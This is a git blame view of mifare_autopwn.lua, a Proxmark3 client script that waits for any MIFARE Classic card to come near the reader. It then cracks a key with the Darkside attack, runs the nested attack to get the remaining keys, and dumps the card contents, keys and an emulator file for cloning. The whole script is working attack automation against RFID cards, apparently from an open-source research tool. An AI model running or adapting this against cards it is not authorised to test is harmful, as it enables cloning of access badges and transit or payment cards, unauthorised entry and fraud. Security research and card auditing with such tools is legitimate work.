]> git.zerfleddert.de Git - proxmark3-svn/blame - client/scripts/mifare_autopwn.lua
Warning removal fix
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
CommitLineData
0dae56d8 1local getopt = require('getopt')
2local reader = require('read14a')
3local cmds = require('commands')
4
5example = "script run mifare_autopwn"
6author = "Martin Holst Swende"
7
8
9desc =
10[[
11This is a which automates cracking and dumping mifare classic cards. It sets itself into
12'listening'-mode, after which it cracks and dumps any mifare classic card that you
13place by the device.
14
15Arguments:
16 -d debug logging on
17 -h this help
18
19Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25]]
26
27-------------------------------
28-- Some utilities
29-------------------------------
30local DEBUG = false
31---
32-- A debug printout-function
33function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37end
38---
39-- This is only meant to be used when errors occur
40function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43end
44
45---
46-- Usage help
47function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51end
52
53---
54-- Waits for a mifare card to be placed within the vicinity of the reader.
55-- @return if successfull: an table containing card info
56-- @return if unsuccessfull : nil, error
57function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64end
65
66function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84end
85
86
87function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
0dae56d8 91
40c51445
MHS
92 --[[
93 I don't understand, they cmd and args are defined as uint32_t, however,
94 looking at the returned data, they all look like 64-bit things:
95
96 print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
97
98 FF 00 00 00 00 00 00 00 <-- 64 bits of data
99 FE FF FF FF 00 00 00 00 <-- 64 bits of data
100 00 00 00 00 00 00 00 00 <-- 64 bits of data
101 00 00 00 00 00 00 00 00 <-- 64 bits of data
102 04 7F 12 E2 00 <-- this is where 'data' starts
103
104 So below I use LI to pick out the "FEFF FFFF", don't know why it works..
105 --]]
106 -- Unpacking the arg-parameters
107 local count,cmd,isOK = bin.unpack('LI',result)
108 --print("response", isOK)--FF FF FF FF
109 if isOK == 0xFFFFFFFF then
110 return nil, "Button pressed. Aborted."
111 elseif isOK == 0xFFFFFFFE then
112 return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
113 elseif isOK == 0xFFFFFFFD then
114 return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
dfb387bf 115 elseif isOK == 0xFFFFFFFC then
8c6b2298 116 return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
40c51445
MHS
117 elseif isOK ~= 1 then
118 return nil, "Error occurred"
119 end
0dae56d8 120
121
122 -- The data-part is left
123 -- Starts 32 bytes in, at byte 33
124 local data = result:sub(33)
125
126 -- A little helper
127 local get = function(num)
128 local x = data:sub(1,num)
129 data = data:sub(num+1)
130 return x
131 end
132
133 local uid,nt,pl = get(4),get(4),get(8)
134 local ks,nr = get(8),get(4)
135
136 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
137 if not status then return status,key end
138
139 if status > 0 then
140 print("Key not found (lfsr_common_prefix problem)")
141 -- try again
142 return nil,nil
143 else
144 return key
145 end
146 end
147 end
148 return nil, "Aborted by user"
149end
150
51defdd4 151function nested(key,sak)
152 local typ = 1
153 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
154 typ = 4
155 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
156 typ= 1
157 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
158 typ = 0
159 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
160 typ = 2
9484ff3d 161 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
162 typ = 1
51defdd4 163 else
164 print("I don't know how many sectors there are on this type of card, defaulting to 16")
165 end
166 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
0dae56d8 167 core.console(cmd)
168end
169
170function dump(uid)
171 core.console("hf mf dump")
172 -- Save the global args, those are *our* arguments
173 local myargs = args
174 -- Set the arguments for htmldump script
175 args =("-o %s.html"):format(uid)
176 -- call it
177 require('../scripts/htmldump')
178
179 args =""
180 -- dump to emulator
181 require('../scripts/dumptoemul')
182 -- Set back args. Not that it's used, just for the karma...
183 args = myargs
184end
185
186---
187-- The main entry point
188function main(args)
189
190
51defdd4 191 local verbose, exit,res,uid,err,_,sak
0dae56d8 192 local seen_uids = {}
193
194 -- Read the parameters
195 for o, a in getopt.getopt(args, 'hd') do
196 if o == "h" then help() return end
197 if o == "d" then DEBUG = true end
198 end
199
200 while not exit do
201 res, err = wait_for_mifare()
202 if err then return oops(err) end
203 -- Seen already?
204 uid = res.uid
51defdd4 205 sak = res.sak
0dae56d8 206 if not seen_uids[uid] then
207 -- Store it
208 seen_uids[uid] = uid
209 print("Card found, commencing crack", uid)
210 -- Crack it
211 local key, cnt
212 res,err = mfcrack()
213 if not res then return oops(err) end
b9697139 214 -- The key is actually 8 bytes, so a
215 -- 6-byte key is sent as 00XXXXXX
216 -- This means we unpack it as first
217 -- two bytes, then six bytes actual key data
218 -- We can discard first and second return values
219 _,_,key = bin.unpack("H2H6",res)
0dae56d8 220 print("Key ", key)
221
222 -- Use nested attack
51defdd4 223 nested(key,sak)
0dae56d8 224 -- Dump info
225 dump(uid)
226 end
227 end
228end
229
230-- Call the main
231main(args)
Impressum, Datenschutz